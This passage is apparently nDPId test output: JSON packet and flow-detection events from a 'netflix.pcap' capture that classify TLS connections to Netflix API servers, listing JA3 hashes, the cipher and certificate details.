{"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","server_names":"api-latam.netflix.com,htmltvui.netflix.com,api-eu.netflix.com,uiboot.netflix.com,api-global.netflix.com,api-user.netflix.com,api-us.netflix.com,api.netflix.com","ja3":"7e72698146290dd68239f788a452e7d8","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=California, L=los gatos, O=Netflix, Inc., OU=Ops, CN=api.netflix.com","fingerprint":"FC:5B:F6:86:AE:E5:22:0D:60:0C:C3:DF:8F:02:80:3F:A3:60:0E:3C"}} +00425{"flow_id":14,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":229,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":188283,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0pq1AAEAGdoPAqAEHNFkni8+MAbsc0sSF5elNIYAQD9IM4AAAAQEICh9kwNWtiMkK"} +00425{"flow_id":15,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":230,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":199804,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0MDRAACkGA900WSeLwKgBBwG7z40HBfk8mRgSD4AQAEuFjwAAAQEICq2IyQsfZMCk"} +02369{"flow_id":15,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":231,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":200353,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcMDVAACkG\/jM0WSeLwKgBBwG7z40HBfk8mRgSD4AQAEtsJgAAAQEICq2IyQsfZMCkFgMDAFkCAABVAwNYeOk7vF8vAirkY9Eziq72P8mRIMbDgYTMM6wkZ7XIOiAlPalSNkR1ua99akikzzyiXtlC5nVNfalnaleVK1UZucAvAAAN\/wEAAQAACwAEAwABAhYDAwpTCwAKTwAKTAAFLTCCBSkwggQRoAMCAQICEEyDi0+FfvCSTifwFgngw9wwDQYJKoZIhvcNAQELBQAwfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDAeFw0xNjA0MTIwMDAwMDBaFw0xODA0MTAyMzU5NTlaMHYxCzAJBgNVBAYTAlVTMRMwEQYDVQQIDApDYWxpZm9ybmlhMRIwEAYDVQQHDAlsb3MgZ2F0b3MxFjAUBgNVBAoMDU5ldGZsaXgsIEluYy4xDDAKBgNVBAsMA09wczEYMBYGA1UEAwwPYXBpLm5ldGZsaXguY29tMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAr0Z0vVg0+uwRnQgMqpd9ZwS7jp+haqVMWt\/aP2iVEz0YnjzxpK71leEdLOvCa7xXvw6qvgJgviQpWWaZLbuMx4dZ0wdQrWbFtuiNWVROO9UKlOR7zkSpBQBHjL8PDMR8GxjYhY0z9ub1P+ar3lsbL0PqJTXnpC4+5jliGtK7hBDnRBzIyN17GbPKT0EY9qzw2OhysiseSVIpeA2uTMsdjCuCJ8U2+vpz4RKQMVBcZpbGTOowLQya0VARHJxNv8MoepZLmqpbClDmpaWt6xW2h2cjWruIsD\/YQ7jbkhDSwodDubij58Mu5BWLQ+l4PPUsjmGAv3yZxbVcRpS6Wlm4uQIDAQABo4IBqTCCAaUwgbMGA1UdEQSBqzCBqIIVYXBpLWxhdGFtLm5ldGZsaXguY29tghRodG1sdHZ1aS5uZXRmbGl4LmNvbYISYXBpLWV1Lm5ldGZsaXguY29tghJ1aWJvb3QubmV0ZmxpeC5jb22CFmFwaS1nbG9iYWwubmV0ZmxpeC5jb22CFGFwaS11c2VyLm5ldGZsaXguY29tghJhcGktdXMubmV0ZmxpeC5jb22CD2FwaS5uZXRmbGl4LmNvbTAJBgNVHRMEAjAAMA4GA1UdDwEB\/wQEAwIFoDAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYBBQUHAwIwYQYDVR0gBFowWDBWBgZngQwBAgIwTDAjBggrBgEFBQcCARYXaHR0cHM6Ly9kLnN5bWNiLmNvbS9jcHMwJQYIKwYBBQUHAgIwGQwXaHR0cHM6Ly9kLnN5bWNiLmNvbS9ycGEwLwYIKwYBBQUHAQEEIzAhMB8GCCsGAQUFBzABhhNodHRwOi8vc3Muc3ltY2QuY29tMB8GA1UdIwQYMBaAFF9gz2GQVd+EQxSKYCqy9Xr0QxjvMA0GCSqGSIb3DQEBCwUAA4IBAQAdulHmLmvIdudqnSfhfmUEAkyAOEjgZ6H0k6BxmsH9zCQp6kh2Gn+6dw6yfgP+i+rrY5dJH59AnS0VSYm9l6Z2Q+oxBW3bKnGXHyAdm+pn0xnaoyVjvtsX5c1CZkwU+uzR+tLsC8xb0LDX0GTepgBR9Gv6C4+xg9+2VPA+fWZFwOvKONHO7uIp4D+u7Hmp1WMg8XA8cm2R59JkzTy56a2qikZCBk0Iiv6tg1u4MVCfWygHnmBNLR0RYC6LqagZzsJF6hfv7jbweV24LQUbdNELDCtEH0VUYn5jzB7SmHZg8RPHU5ZesfRgzs6ULuupnucw3hatgscIhcAN2cOcz9cQAAUZMIIFFTCCA\/2gAwI="} +00819{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":231,"source":"netflix.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":6,"flow_first_seen":1484319035080,"flow_last_seen":1484319035200,"flow_tot_l4_data_len":1868,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":311,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.89.39.139","src_port":53133,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","ja3":"7e72698146290dd68239f788a452e7d8","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256"}} +02381{"flow_id":15,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":232,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":215028,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"5JjWH70UgCqoTGHMCABFIAXcMDZAACkG\/jI0WSeLwKgBBwG7z40HBf7kmRgSD4AQAEvpfwAAAQEICq2IyQsfZMCkAQICECguJ5F5M5LkKPIhp07JN64wDQYJKoZIhvcNAQELBQAwgcoxCzAJBgNVBAYTAlVTMRcwFQYDVQQKEw5WZXJpU2lnbiwgSW5jLjEfMB0GA1UECxMWVmVyaVNpZ24gVHJ1c3QgTmV0d29yazE6MDgGA1UECxMxKGMpIDE5OTkgVmVyaVNpZ24sIEluYy4gLSBGb3IgYXV0aG9yaXplZCB1c2Ugb25seTFFMEMGA1UEAxM8VmVyaVNpZ24gQ2xhc3MgMyBQdWJsaWMgUHJpbWFyeSBDZXJ0aWZpY2F0aW9uIEF1dGhvcml0eSAtIEczMB4XDTEzMTAzMTAwMDAwMFoXDTIzMTAzMDIzNTk1OVowfjELMAkGA1UEBhMCVVMxHTAbBgNVBAoTFFN5bWFudGVjIENvcnBvcmF0aW9uMR8wHQYDVQQLExZTeW1hbnRlYyBUcnVzdCBOZXR3b3JrMS8wLQYDVQQDEyZTeW1hbnRlYyBDbGFzcyAzIFNlY3VyZSBTZXJ2ZXIgQ0EgLSBHNDCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALLYBcocdC21F1Y5xUpSCZboS9gM8WifmkIoYsOlMFN+VRGCWwN6DS\/heQTJtJZ3GYEBlFn5vPd6mSeCLbeD3Vonf7IDepxTJelIH0ZPyJ0p+L55Vvb3\/dk6aNqLS4IzQRLDyDzM1pZ6hCEaIgQDJxeLHGhhkw8OUYAzHbS1zut+0GKs7rN7AXTvaTXrytU9qe6XmMqNqkQOJZlKFZakzm0CVB8qaibiBjpjSKy0TNF1k1D\/Ey\/W2uHGGPWfySVd8wA63iZNtCkJzQ89I28WSoEW+\/KDEMO41thVMj3xvQ+9jFKVShaXelIhY3UvFvnEZr71tQnY\/ycAzUR8b0s\/sPcCAwEAAaOCAUAwggE8MB0GA1UdDgQWBBRfYM9hkFXfhEMUimAqsvV69EMY7zASBgNVHRMBAf8ECDAGAQH\/AgEAMGsGA1UdIARkMGIwYAYKYIZIAYb4RQEHNjBSMCYGCCsGAQUFBwIBFhpodHRwOi8vd3d3LnN5bWF1dGguY29tL2NwczAoBggrBgEFBQcCAjAcGhpodHRwOi8vd3d3LnN5bWF1dGguY29tL3JwYTAvBgNVHR8EKDAmMCSgIqAghh5odHRwOi8vcy5zeW1jYi5jb20vcGNhMy1nMy5jcmwwDgYDVR0PAQH\/BAQDAgEGMCkGA1UdEQQiMCCkHjAcMRowGAYDVQQDExFTeW1hbnRlY1BLSS0xLTUzNDAuBggrBgEFBQcBAQQiMCAwHgYIKwYBBQUHMAGGEmh0dHA6Ly9zLnN5bWNkLmNvbTANBgkqhkiG9w0BAQsFAAOCAQEAWxdSvtZWe\/T3NAlLlsrH9iHQaYDv55oZ6CTif9kvYd0T61pl5OFqkMtOKumKFudSjfZDG0cFDYCjqJr+KdO8HSjVpUrUcTwPdcULcz8ASGV5DatqHiUMwALeZqy9SwZrmleKKoF+Z5u6UmBzxBX3u8FQyQiluldKOhsQcxzhe7aUA0uuUbCCQDpaJJzuDVhdrropesoznrKBwi+OwSfPQPAEoT\/1N8LK\/KxTbalTaU\/hdmQMJYGpNwPyOXM00sF8eBgcqGsW5+fgnSmv2ORpOXmVabl7XF0BnNT380hFE2SV1wpuctpDIiRvPlpw3MCS4C3lV\/jkKyfu9f8bswGDehYDAwFNDAABSQMAF0EESFqrUO0j7rFMl9SYfOFc36wkHTK21jgV\/FA4iQv1Mg5CSQdMQZP3Cx5EZx\/jGYCcGmFWTHg3\/vj7Dm5CG6h8wQQBAQCVvSnMrZDKLpqvyRcVAgUKBgB5JiYIhk48LToQKVktZCWAm8bMCenvoNW2F3Hc9fUYJATjkgVrzbyIs+z4ayvEIAXvJ7dOq5Y="} +01275{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":232,"source":"netflix.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":7,"flow_first_seen":1484319035080,"flow_last_seen":1484319035215,"flow_tot_l4_data_len":3348,"flow_min_l4_data_len":32,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":478,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.89.39.139","src_port":53133,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","server_names":"api-latam.netflix.com,htmltvui.netflix.com,api-eu.netflix.com,uiboot.netflix.com,api-global.netflix.com,api-user.netflix.com,api-us.netflix.com,api.netflix.com","ja3":"7e72698146290dd68239f788a452e7d8","ja3s":"303951d4c50efb2e991652225a6f02b1","unsafe_cipher":0,"cipher":"TLS_ECDHE_RSA_WITH_AES_128_GCM_SHA256","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=California, L=los gatos, O=Netflix, Inc., OU=Ops, CN=api.netflix.com","fingerprint":"FC:5B:F6:86:AE:E5:22:0D:60:0C:C3:DF:8F:02:80:3F:A3:60:0E:3C"}} +00425{"flow_id":15,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":233,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":216633,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0t9hAAEAGZVjAqAEHNFkni8+NAbuZGBIPBwYEjIAQD9JqbAAAAQEICh9kwPCtiMkL"} +00692{"flow_id":14,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":234,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":229757,"pkt_caplen":259,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":259,"pkt_l4_len":225,"pkt":"5JjWH70UgCqoTGHMCABFIAD1iNxAACoGqXM0WSeLwKgBBwG7z4zl6U0hHNLEhYAYAEvuqgAAAQEICq2IyQofZMCjpHl4RyQIVLjCE9+5SS7Az0ywQuNw+kAlnFo\/y8e7JW\/QvlkCHK00vYcxf+RdDNW2KR237l7JqlRXjqTmoRt3dOXcFn0rQsGXaPxX2o8ksdV+k3a46A5gwfkE6tUOZ8N04lUrusPBOV29jMwIvliW3kDLXxMaD9Ezv3O4MvjtOJZZcUrIPjvWe1NbVGya+AS8Izn\/OZhdDFkc5nSg9Cr7mG3sOwdjrLfLxKrenm2u\/PBE5F9BNuMdMBYDAwAEDgAAAA=="} +00428{"flow_id":14,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":235,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":231110,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0H0hAAEAG\/ejAqAEHNFkni8+MAbsc0sSF5elN4oAQD\/kLzwAAAQEICh9kwP6tiMkK"} +00694{"flow_id":15,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":236,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":231976,"pkt_caplen":259,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":259,"pkt_l4_len":225,"pkt":"5JjWH70UgCqoTGHMCABFIAD1MDdAACkGAxk0WSeLwKgBBwG7z40HBgSMmRgSD4AYAEuRcQAAAQEICq2IyQsfZMCkKnBmOpVeoIUTkqp16uNezKIHhMqbg2QP6ioDarGOey+1CfRjWaCkkWiObuc\/hu7T37OjLTm2S47SidRjvqEEsdHZw1jh2M99\/8BML+AkwuULORxCGcPebPFihoi\/Gpkil9MGmitvVEL\/TINtayk\/wvMglRbbmodUav+HC2g0\/wsXQKMf6ULcCO9d2HJcbSUJ2YolxQdSI8Z3baGhWS3ZatQznnJ1wkIXSoy8sMTYRgOd6rywucFWlhYDAwAEDgAAAA=="} +00427{"flow_id":15,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":237,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":233268,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0yK5AAEAGVILAqAEHNFkni8+NAbuZGBIPBwYFTYAQD\/lpdAAAAQEICh9kwQCtiMkL"} +00531{"flow_id":14,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":238,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":243835,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"gCqoTGHM5JjWH70UCABFAAB\/UoxAAEAGylnAqAEHNFkni8+MAbsc0sSF5elN4oAYEAC6nQAAAQEICh9kwQqtiMkKFgMDAEYQAABCQQQ8EFMiYQukZ8MpPG3pdr9Y0Oc6Pzj8ePm+FPrmy5rC54LjahT0AwLaolHR\/3KJF6r9KJnuo8a2v+nJbmxYU7CB"} +00434{"flow_id":14,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":239,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":244108,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"gCqoTGHM5JjWH70UCABFAAA6polAAEAGdqHAqAEHNFkni8+MAbsc0sTQ5elN4oAYEADzXgAAAQEICh9kwQqtiMkKFAMDAAEB"} +00490{"flow_id":14,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":240,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":244313,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"gCqoTGHM5JjWH70UCABFAABhpZZAAEAGd23AqAEHNFkni8+MAbsc0sTW5elN4oAYEAD8UwAAAQEICh9kwQqtiMkKFgMDACjxXYpqoMvITpEuTsTwi0vXUz7UcsUMsRsBFdONtt\/qU2h\/YQLS3y2D"} +00530{"flow_id":15,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":241,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":249396,"pkt_caplen":141,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":141,"pkt_l4_len":107,"pkt":"gCqoTGHM5JjWH70UCABFAAB\/6D9AAEAGNKbAqAEHNFkni8+NAbuZGBIPBwYFTYAYEACn9AAAAQEICh9kwQ+tiMkLFgMDAEYQAABCQQQqmITQXCwI9mnzrXHKN2Vc7n5ATGHT7iay8AbJ1vHmCJpge77M3bUjbizLwD9QOanpfFnTANE1uGFlFI4oSA4B"} +00435{"flow_id":15,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":242,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":249751,"pkt_caplen":72,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":72,"pkt_l4_len":38,"pkt":"gCqoTGHM5JjWH70UCABFAAA6eTNAAEAGo\/fAqAEHNFkni8+NAbuZGBJaBwYFTYAYEABRAQAAAQEICh9kwQ+tiMkLFAMDAAEB"} +00488{"flow_id":15,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":243,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":249973,"pkt_caplen":111,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":111,"pkt_l4_len":77,"pkt":"gCqoTGHM5JjWH70UCABFAABhDM1AAEAGEDfAqAEHNFkni8+NAbuZGBJgBwYFTYAYEADmWAAAAQEICh9kwQ+tiMkLFgMDAChNkegiU+wzjXFCwiHptIQpYy97s96n1DNfAqBugwA8dYlpkScMkqYI"} +00426{"flow_id":14,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":244,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":287174,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0iN1AACoGqjM0WSeLwKgBBwG7z4zl6U3iHNLE1oAQAEsbBwAAAQEICq2IySMfZMEK"} +00496{"flow_id":14,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":245,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":292272,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"5JjWH70UgCqoTGHMCABFIABniN5AACoGqf80WSeLwKgBBwG7z4zl6U3iHNLFA4AYAEsiiwAAAQEICq2IySUfZMEKFAMDAAEBFgMDACgcPKaKyM4YHqGE1yRMvxcCa5MlFd2+8SOlHOEEihc6JV3bqeLV8ALo"} +00426{"flow_id":15,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":249,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":298651,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA0MDhAACkGA9k0WSeLwKgBBwG7z40HBgVNmRgSjYAQAEt4egAAAQEICq2IySYfZMEP"} +00497{"flow_id":15,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":250,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":299424,"pkt_caplen":117,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":117,"pkt_l4_len":83,"pkt":"5JjWH70UgCqoTGHMCABFIABnMDlAACkGA6U0WSeLwKgBBwG7z40HBgVNmRgSjYAYAEsbIwAAAQEICq2IySYfZMEPFAMDAAEBFgMDACjXcdBjHjrlGCc6r1xIjnyS4caTVVboDwxir24skvpSSyvvSwA\/aYaY"} +00473{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":257,"source":"netflix.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1484319035342,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.89.39.139","src_port":53134,"dst_port":443,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00443{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":257,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":342783,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"gCqoTGHM5JjWH70UCABFAABA3CdAAEAGQP3AqAEHNFkni8+OAbvRf5R9AAAAALAC\/\/8BVgAAAgQFtAEDAwUBAQgKH2TBaAAAAAAEAgAA"} +00438{"flow_id":16,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":267,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":397916,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"5JjWH70UgCqoTGHMCABFIAA8AABAACoGMwk0WSeLwKgBBwG7z47YAyXj0X+UfqASRepXrQAAAgQFtAQCCAqtiMk\/H2TBaAEDAwg="} +00426{"flow_id":16,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":268,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":399304,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"gCqoTGHM5JjWH70UCABFAAA0+2BAAEAGIdDAqAEHNFkni8+OAbvRf5R+2AMl5IAQEBW8GgAAAQEICh9kwZ2tiMk\/"} +00710{"flow_id":16,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":269,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":401110,"pkt_caplen":274,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":274,"pkt_l4_len":240,"pkt":"gCqoTGHM5JjWH70UCABFAAEE6LNAAEAGM63AqAEHNFkni8+OAbvRf5R+2AMl5IAYEBVXjgAAAQEICh9kwZ6tiMk\/FgMBAMsBAADHAwNYeOk7vNJQcIWTHxOYmxRdvE73iLawThqSAEUf4RBG+yAlPalSNkR1ua99akikzzyiXtlC5nVNfalnaleVK1UZuQAmAP\/ALMArwCTAI8AKwAnAMMAvwCjAJ8AUwBMAnQCcAD0APAA1AC8BAABYAAAAGwAZAAAWYXBpLWdsb2JhbC5uZXRmbGl4LmNvbQAKAAgABgAXABgAGQALAAIBAAANABIAEAQBAgEFAQYBBAMCAwUDBgMABQAFAQAAAAAAEgAAABcAAA=="} +00762{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":269,"source":"netflix.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":4,"flow_first_seen":1484319035342,"flow_last_seen":1484319035401,"flow_tot_l4_data_len":356,"flow_min_l4_data_len":32,"flow_max_l4_data_len":240,"flow_avg_l4_data_len":89,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.89.39.139","src_port":53134,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": {"version":"TLSv1.2","client_requested_server_name":"api-global.netflix.com","ja3":"7e72698146290dd68239f788a452e7d8","ja3s":"","unsafe_cipher":0,"cipher":"TLS_NULL_WITH_NULL_NULL"}} +00425{"flow_id":16,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":278,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":449002,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"5JjWH70UgCqoTGHMCABFIAA07K5AACoGRmI0WSeLwKgBBwG7z47YAyXk0X+VToAQAEvLBgAAAQEICq2IyUwfZMGe"} +00626{"flow_id":16,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":279,"source":"netflix.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1484319035,"pkt_ts_usec":449894,"pkt_caplen":211,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":211,"pkt_l4_len":177,"pkt":"5JjWH70UgCqoTGHMCABFIADF7K9AACoGRdA0WSeLwKgBBwG7z47YAyXk0X+VToAYAEvNewAAAQEICq2IyUwfZMGeFgMDAFkCAABVAwNYeOk7VOwhhyggLAhJQBWvhk928q9X9VIa7uiiqr7qKSAlPalSNkR1ua99akikzzyiXtlC5nVNfalnaleVK1UZucAvAAAN\/wEAAQAACwAEAwABAhQDAwABARYDAwAoXcXoBY4K7rZHdaYvqMg+AqvzJCzgfFm2CZObQbNJ5Ejc26h63\/gPSw=="} +00816{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":279,"source":"netflix.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":6,"flow_first_seen":1484319035342,"flow_last_seen":1484319035449,"flow_tot_l4_data_len":565,"flow_min_l4_data_len":32,"flow_max_l4_data_len":240,"flow_avg_l4_data_len":94,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.7","dst_ip":"52.89.39.139","src_port":53134,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"15":"TLS (probably) not carrying HTTPS"},"proto":"TLS.NetFlix","breed":"Fun","category":"Video"},"tls": 